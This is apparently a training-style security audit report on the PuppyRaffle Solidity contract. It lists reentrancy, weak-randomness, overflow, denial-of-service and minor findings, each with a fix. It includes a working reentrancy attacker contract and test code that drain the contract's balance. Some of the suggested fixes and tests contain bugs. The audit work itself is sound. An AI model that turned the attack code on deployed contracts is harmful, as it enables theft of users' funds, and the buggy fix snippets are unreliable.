PuppyRaffle Audit Report

Version 1.0

July 27, 2024

Protocol Audit Report

Elyas

July 27, 2024

Prepared by: [Elyas] Lead Auditors: - Elyas

Table of Contents

    * [M-1] Potential Denial of Service (DoS) Risk Due to Duplicate Check in `PuppyRaffle::enterRaffle` Function
    * [M-2] Smart Contract Wallets Without `receive` or `fallback` Functions May Block New Raffles
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` Function Misinterprets Player Status
  - Gas
    * [G-1] Unchanged State Variables Should Be Declared as `constant` or `immutable`
    * [G-2] Storage Variables in a Loop Should Be Cached
  - Infotmational/Non-Crits
    * [I-1] Solidity Pragma Should Be Specific, Not Wide
    * [I-2] Using an Outdated Version of Solidity Is Not Recommended
    * [I-3] Missing Checks for `address(0)` When Assigning Values to Address State Variables
    * [I-4] `PuppyRaffle::selectWinner` Does Not Follow CEI (Check, Effect, Interaction) Best Practices
    * [I-5] Use of "Magic" Numbers is Discouraged
    * [I-6] State Changes Are Missing Events
    * [I-7] `PuppyRaffle::_isActivePlayer` is Unused and Should be Removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Elyas team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issu found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow the Checks-Effects-Interactions (CEI) pattern, enabling participants to drain the contract balance.

In the `PuppyRaffle::refund` function, an external call is made to the `msg.sender` address before updating the `PuppyRaffle::players` array. This allows a malicious participant to reenter the contract and perform additional operations, leading to a potential reentrancy attack.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
}
```

A player who has entered the contract could have a `fallback` or `receive` function that calls the `PuppyRaffle::refund` function again and claims another refund. They could continue this cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by malicious participants.

Proof of Concept: 1. User enters the raffle. 2. Attacker sets up a contract with a `fallback` function that calls the `PuppyRaffle::refund` function. 3. Attacker enters the raffle. 4. Attacker calls `PuppyRaffle::refund` from their attack contract and drains the contract balance.

Proof of Code:

code

Place the following into `PuppyRaffle.t.sol`:

```
function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerContractBalance = address(
            reentrancyAttacker).balance;
        uint256 startingRaffleBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        reentrancyAttacker.attack{value: entranceFee}();

        console.log("starting attacker contract balance",
            startingAttackerContractBalance);
        console.log("starting raffle balance", startingRaffleBalance);

        console.log("ending attacker contract balance", address(
            reentrancyAttacker).balance);
        console.log("ending raffle balance", address(puppyRaffle).
            balance);
    }
```

And this contract as well

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
```

```
    uint256 attackerIndex;

    constructor (PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value:puppyRaffle.entranceFee()}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this vulnerability, the `PuppyRaffle::refund` function should update the internal state before making the external call. Additionally, the event emission should be moved to occur before the external call.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` Allows Users to Influence or Predict the Winner and Select the Winning Puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable random number. A predictable number is not a good random number. Malicious users can manipulate or anticipate these values to influence the winner of the raffle themselves.

Note: This also means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the raffle's outcome, winning the prize and selecting the `rarest` puppy. This can render the raffle worthless if it turns into a gas war to determine who wins.

Proof of Concept: 1. Validators can predict `block.timestamp` and `block.difficulty` ahead of time, using this information to strategize their participation. See the Solidity blog on prevrandao. Note that `block.difficulty` has been replaced with `prevrandao` in recent Solidity versions. 2. Users can manipulate the `msg.sender` value to ensure their address is used in generating the winner. 3. Users can revert their `selectWinner` transaction if they are dissatisfied with the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector.

Recommended Mitigation: Consider using a cryptographically secure random number generator, such as Chainlink VRF, to ensure fairness and unpredictability.

[H-3] Integer Overflow in `PuppyRaffle::totalFees` Results in Loss of Fees

Description: In solidity prior version `0.8.0` integers were subject integer overflows.

```
unit64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. Howover if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in contract.

Proof of Concept:

1. We conclude the raffle of 4 players.

2. We then have 89 players enter a new raffle, and conclude the raffle.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
totalFees = 800000000000000000 + 17800000000000000000;
// and this will be overflow
totalFees = 153255926290448384;
```

4. You will not to be able withdraw, due to this line `puppyRaffle::withdrawFees`

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
        There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this clearly not to intended design of the protocol. At some point, there will be too much `balance` in the contract that above `require` will be impossible to hit.

Code

```
    function testOverflowTotalFees() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 staringTotalFee = puppyRaffle.totalFees();

        uint256 newPlayers = 89;
        address[] memory players = new address[](newPlayers);
        for(uint256 i = 0; i < newPlayers; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * newPlayers}(
            players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 endingTotalFee = puppyRaffle.totalFees();
        console.log("starting total fee: ", staringTotalFee);
        console.log("ending total fee:", endingTotalFee);

        assert(endingTotalFee < staringTotalFee);

        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

1. Use a new version of solidity, and a `uint256` istead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `safemath` library of openzepplin for version 0.7.6 of solidity, howover you would still have a hard time with `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-     require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless. g

Medium

[M-1] Potential Denial of Service (DoS) Risk Due to Duplicate Check in `PuppyRaffle::enterRaffle` Function

Description: The `PuppyRaffle::enterRaffle` function currently checks for duplicates by looping through the `players` array. As the number of players increases, the number of comparisons required grows quadratically. This results in a progressive increase in gas costs for new participants. Players who enter early incur lower gas costs compared to those who join later. The incremental increase in checks for each additional player makes the gas cost rise significantly over time.

Impact: As the number of players increases, the gas cost for entering the raffle escalates, which could discourage latecomers from participating. This creates a situation where early participants have a significant advantage, leading to a rush of entries at the start. Moreover, an attacker could exploit this by adding numerous entries to the `PuppyRaffle::players` array, making it prohibitively expensive for others to join and thus potentially securing a guaranteed win for themselves.

```
// @audit DoS attack
@>    for (uint256 i = 0; i < players.length - 1; i++) {
          for (uint256 j = i + 1; j < players.length; j++) {
                  require(players[i] != players[j], "PuppyRaffle: Duplicate player");
          }
      }
```

Proof of Concept:

When entering two sets of 100 players each, the gas costs are as follows: - For the first 100 players: ~6,252,128 gas - For the second 100 players: ~18,068,218 gas

This demonstrates that the gas cost for the second set of 100 players is more than three times higher than for the first set.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
    function testDenialOfService() public {
        vm.txGasPrice(1);

        // Let`s enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);

        for(uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst
            );

        // Let`s enter 2nd 100 players
        address[] memory playersTwo = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
            }(playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("Gaas cost of the second 100 players: ",
            gasUsedSecond);
        assert(gasUsedFirst < gasEndSecond);
    }
```

Recommended Mitigation: Here are a few recommendations to address the potential issues:

1. **Allow Duplicates:** Since users can create multiple wallet addresses, checking for duplicates only prevents the same wallet address from entering more than once. Allowing duplicate entries can simplify contract logic and reduce gas costs.
2. **Utilize a Mapping for Duplicate Checks:** Implementing a mapping to track whether an address has already entered the raffle allows for constant-time lookups. This significantly reduces the gas cost compared to the current approach of iterating through the `players` array to check for

duplicates.

```
+ uint256 public raffleID;
+ mapping (address => uint256) public usersToRaffleId;
.
.
function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           usersToRaffleId[newPlayers[i]] = true;
        }

        // Check for duplicates
+       for (uint256 i = 0; i < newPlayers.length; i++){
+           require(usersToRaffleId[i] != raffleID, "PuppyRaffle:
   Already a participant");
        }
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
-            }
        }

        emit RaffleEnter(newPlayers);
}
.
.
.

function selectWinner() external {
        //Existing code
+    raffleID = raffleID + 1;
}
```

alternatively, you could use [OpenZeppelin's `EnumerableSet` library] (https://docs.openzeppelin.com/contracts/4.x/

[M-2] Smart Contract Wallets Without `receive` or `fallback` Functions May Block New Raffles

Description: The `PuppyRaffle::selectWinner` function is reponsible for reseting the raffle. However, if the winner is a smart contract wallet that rejects payment, the raffle would not be able to restart.

Users could easily call `selectWinner` function again and non-wallet enterants could enter, but it could cost a lot due to the duplicate check and a raffle reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert any times, making a raffle reset difficult.

Also true winner would not get paid out and someone else could get their money.

Proof of Concept: 1. 10 smart contract wallet enter to the raffle without a fallback or recieve function 2. The raffle ends 3. The `selectWinner` function would not work, even though the raffle is over.

Recommended Mitigation: There are a few options to mitigate this issue

1. Do not allow smart contract wallets enterant(not recommended)
2. Create a mapping of address –> payout amounts so winner can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize.(recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` Function Misinterprets Player Status

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
/// @return the index of the player in the array, if they are not
    active, it returns 0
function getActivePlayerIndex(address player) external view returns (
    uint256) {
     for (uint256 i = 0; i < players.length; i++) {
         if (players[i] == player) {
                 return i;
         }
     }

     return 0;
}
```

Impact: A player at index 0 may incorrectly think thay have not entered the raffle and attemp to enter the raffle again, wasting gas.

Proof of Concept: 1. user enters the raffla, they are first enterant. 2. `PuppyRaffle::getActivePlayerIndex` return 0. 3. User thinks they have not entered correctly due to documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

you could also reserve 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged State Variables Should Be Declared as `constant` or `immutable`

Description: Reading from storage is significantly more costly in terms of gas compared to reading from `immutable` or `constant` variables. To optimize gas efficiency, state variables that do not change after contract deployment should be declared as `constant` or `immutable`.

Instances: - `PuppyRaffle::raffleDuration` should be declared as `immutable`. - `PuppyRaffle::commonImageUri` should be declared as `constant`. - `PuppyRaffle::rareImageUri` should be declared as `constant`. - `PuppyRaffle::legendaryImageUri` should be declared as `constant`.

[G-2] Storage Variables in a Loop Should Be Cached

Everytime you call `player.length` you read from storage,as opposed to memory which is more gas efficient.

```
+        uint256 playerLength = player.length
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playerLength - 1; i++) {
-                for (uint256 j = i + 1; j < players.length; j++) {
+                for (uint256 j = i + 1; j < playerLength; j++) {
                        require(players[i] != players[j], "PuppyRaffle:
                            Duplicate player");
                }
        }
```

Infotmational/Non-Crits

[I-1] Solidity Pragma Should Be Specific, Not Wide

Description: Using a specific version of Solidity ensures that your contract behaves consistently and predictably, avoiding unexpected issues that may arise from compiler version changes. A broad pragma like `pragma solidity ^0.8.0;` allows for minor version upgrades, which might introduce breaking changes or unintended behavior. Specifying an exact version, such as `pragma solidity 0.8.0;`, locks the compiler to a specific version, providing more stability and security.

Impact: Using a wide version pragma can introduce compatibility issues and potential bugs if the Solidity compiler is updated with changes that affect contract behavior.

Recommended Mitigation: Specify an exact version of Solidity for your contracts to ensure consistent behavior and avoid issues arising from compiler updates. For instance, use `pragma solidity 0.8.0;` instead of `pragma solidity ^0.8.0;`.

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an Outdated Version of Solidity Is Not Recommended

Description: The Solidity compiler (solc) frequently updates to include new features, optimizations, and security checks. Using an outdated version of Solidity may prevent your contract from benefiting from these improvements and may expose it to known vulnerabilities. Additionally, complex pragma statements that allow a wide range of versions can introduce risks if the compiler's behavior changes between versions.

Recommendation:

- Deploy with a recent version of Solidity, at least version 0.8.0, ensuring that you avoid known severe issues.
- Use a simple pragma statement that specifies a recent version but allows flexibility. For example, `pragma solidity ^0.8.0;` allows for updates within the 0.8.x range while avoiding older, less secure versions.
- Regularly test your contracts with the latest Solidity versions to ensure compatibility and leverage new features.

For further details, refer to Slither's documentation.

[I-3] Missing Checks for `address(0)` When Assigning Values to Address State Variables

Description: When assigning values to address state variables, it is important to check if the address is `address(0)`, which represents the zero address. Assigning `address(0)` to an address state variable may indicate that no valid address is assigned or that an error has occurred. Not performing this check can lead to unintended behaviors, such as allowing functions to be called by invalid addresses or failing to validate proper address assignments.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 64

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 177

```
        feeAddress = newFeeAddress;
```

Recommendation:

- **Check for `address(0)`**: Ensure that the address being assigned is not `address(0)` before performing the assignment. This helps prevent invalid or unintended assignments.
- **Revert on Invalid Addresses**: Implement checks that revert transactions if `address(0)` is detected, ensuring that only valid addresses are used in your contract logic.

[I-4] `PuppyRaffle::selectWinner` Does Not Follow CEI (Check, Effect, Interaction) Best Practices

Description: The `PuppyRaffle::selectWinner` function does not adhere to the Check, Effect, Interaction (CEI) pattern, which is considered a best practice for smart contract development. The CEI pattern helps prevent reentrancy attacks and ensures that state changes occur before external interactions.

Recommendation:

- **Check First**: Verify all conditions and validate inputs before making any state changes or interacting with external contracts.
- **Effect Next**: Perform all state changes after the checks. This ensures that any updates to the contract's state are only made if the conditions are met.
- **Interaction Last**: Interact with external contracts or perform any calls that could be vulnerable to reentrancy attacks only after the state has been updated.

Implementing CEI improves the security and robustness of your smart contracts by mitigating potential vulnerabilities related to reentrancy and ensuring predictable behavior.

```diff
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner");
     _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "Magic" Numbers is Discouraged

Description: Hardcoding numeric literals directly into the code—referred to as "magic" numbers—can make the codebase difficult to understand and maintain. It is less readable and more prone to errors.

Recommendation: Replace magic numbers with named constants. This practice improves code readability and maintainability by providing meaningful names for the values, making the code easier to understand and less prone to errors.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State Changes Are Missing Events

Description: State changes in the contract, such as modifications to critical variables or data structures, should be accompanied by events. Events help external applications and users track changes and are crucial for maintaining transparency and facilitating off-chain interactions.

Recommendation: Ensure that all significant state changes in the contract trigger appropriate events. This will enhance the contract's usability and facilitate better tracking of its operations.

[I-7] `PuppyRaffle::_isActivePlayer` is Unused and Should be Removed

Description: The function `PuppyRaffle::_isActivePlayer` is defined in the contract but is never invoked. This unused function contributes to code bloat and may create confusion for future developers.

Recommendation: Remove the unused `PuppyRaffle::_isActivePlayer` function to streamline the codebase and reduce potential confusion.